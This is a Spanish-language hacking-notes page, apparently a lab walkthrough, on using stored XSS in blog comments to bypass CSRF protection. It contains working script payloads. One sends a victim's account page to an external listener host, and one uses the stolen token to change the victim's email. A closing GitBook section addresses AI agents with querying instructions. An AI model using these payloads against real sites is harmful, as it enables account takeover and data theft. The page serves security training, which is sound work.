> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-to-bypass-csrf-defenses.md).

# XSS para eludir defensas CSRF

### Explotación de XSS para eludir las defensas CSRF

Este laboratorio contiene una vulnerabilidad XSS almacenada en la función de comentarios del blog. El objetivo es explotar esta vulnerabilidad para robar el token CSRF de un usuario que consulte los comentarios y luego usarlo para cambiar la dirección de correo electrónico de esa cuenta. Puedes conectarte con las siguientes credenciales: `wiener:peter`.

* Hay un campo en la página para actualizar el correo electrónico.

<figure><img src="/files/83ad620f63038fcf266d54ae39a519ed74c7b3e7" alt=""><figcaption></figcaption></figure>

* Hay un campo en la página para actualizar el correo electrónico.
* Al interceptar la solicitud de actualización, se observan los parámetros (ejemplo):
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="/files/30358dea5eae07fd2e3c8869ed1d34588e68e5c2" alt=""><figcaption></figcaption></figure>

Estrategia:

<figure><img src="/files/dc671301ed5adb6c3269131943ad70dffebec47c" alt=""><figcaption></figcaption></figure>

1. Publica un comentario que contenga un script que, cuando la víctima vea la página, recupere el HTML de la página de la cuenta (`/my-account`) mediante una consulta síncrona o asíncrona.
2. Exfiltra este HTML a un servidor de escucha controlado (codificándolo en base64 si se desea).
3. Recupera del lado del atacante el token CSRF y, desde un segundo script ejecutado en el contexto de la víctima, realiza una consulta POST a `/my-account/change-email` proporcionando tanto la nueva dirección como el token CSRF recuperado: la solicitud utilizará la cookie de sesión de la víctima mientras el script se ejecuta en su navegador.

Exfiltrando el código fuente de la página de la cuenta a un servidor de escucha (codificado en Base64):

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="/files/e1a3ea1020b310680efc64172c188af8818d2cb8" alt=""><figcaption></figcaption></figure>

Resultado observado:

* En nuestra infraestructura se escuchan dos solicitudes que contienen HTML codificado en base64.

<figure><img src="/files/3d5f43303f3c306eadcf98c32016461e4eba9d30" alt=""><figcaption></figcaption></figure>

* Tras decodificarlo, el HTML contiene la información de la cuenta: nombre de usuario `administrator` , correo electrónico actual y token CSRF en un `entrada` campo (por ejemplo `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` en el ejemplo proporcionado).

<figure><img src="/files/21f8b2e7779cde3b4385141a0aa854188024d4fa" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>Tu nombre de usuario es: administrator</p>
    <p>Tu correo electrónico es: <span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>Correo electrónico</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> Actualizar correo electrónico </button>
        </form>
</div>
```

Recuperación del token CSRF desde el HTML y envío de un cambio de correo electrónico (POST):

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
